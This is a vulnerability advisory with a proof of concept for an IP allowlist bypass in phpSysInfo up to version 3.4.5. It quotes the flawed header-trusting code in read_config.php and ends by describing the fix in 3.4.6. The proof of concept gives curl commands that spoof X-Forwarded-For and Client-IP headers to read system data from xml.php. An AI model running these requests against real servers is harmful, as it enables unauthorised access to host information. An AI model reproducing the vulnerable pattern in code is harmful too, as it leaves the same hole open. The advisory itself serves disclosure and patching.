# Exploit Title: phpSysInfo  3.4.5 - IP Allowlist Bypass 
# Google Dork: N/A
# Date: 2026-07-11
# Exploit Author: Muhammed Mirac Kayikci
# Vendor Homepage: https://phpsysinfo.github.io/phpsysinfo/
# Software Link: https://github.com/phpsysinfo/phpsysinfo/archive/refs/tags/v3.4.5.tar.gz
# Version: <= 3.4.5
# Tested on: Linux (Apache/PHP)
# CVE : CVE-2026-55584

References:
-----------
GHSA: https://github.com/phpsysinfo/phpsysinfo/security/advisories/GHSA-786w-p5pm-cvgh
CVE:  https://www.cve.org/CVERecord?id=CVE-2026-55584

Description:
------------
phpSysInfo's PSI_ALLOWED IP allowlist resolves the client IP from the
attacker-controlled "X-Forwarded-For" (then "Client-IP") request headers before
falling back to REMOTE_ADDR. There is no trusted-proxy concept, so an attacker
can spoof an allowed IP address, defeat the allowlist, and read full system
information exposed via xml.php.

Vulnerable code (read_config.php):
----------------------------------
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
    $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} elseif (isset($_SERVER["HTTP_CLIENT_IP"])) {
    $ip = $_SERVER["HTTP_CLIENT_IP"];
} else {
    $ip = $_SERVER["REMOTE_ADDR"];   // only trustworthy source, checked last
}

Proof of Concept:
-----------------
# Allowlist set to an address the attacker does not own (ALLOWED=8.8.8.8)

# 1) Baseline - request is blocked:
curl -s http://target/xml.php
#    -> "Client IP address (...) not allowed."

# 2) Bypass via X-Forwarded-For - returns full system XML:
curl -s -H "X-Forwarded-For: 8.8.8.8" http://target/xml.php

# 3) Bypass via Client-IP - returns full system XML:
curl -s -H "Client-IP: 8.8.8.8" http://target/xml.php

Fix:
----
Fixed in 3.4.6 (commit 019fa2d): default to REMOTE_ADDR; honor X-Forwarded-For /
Client-IP only from configured trusted proxies.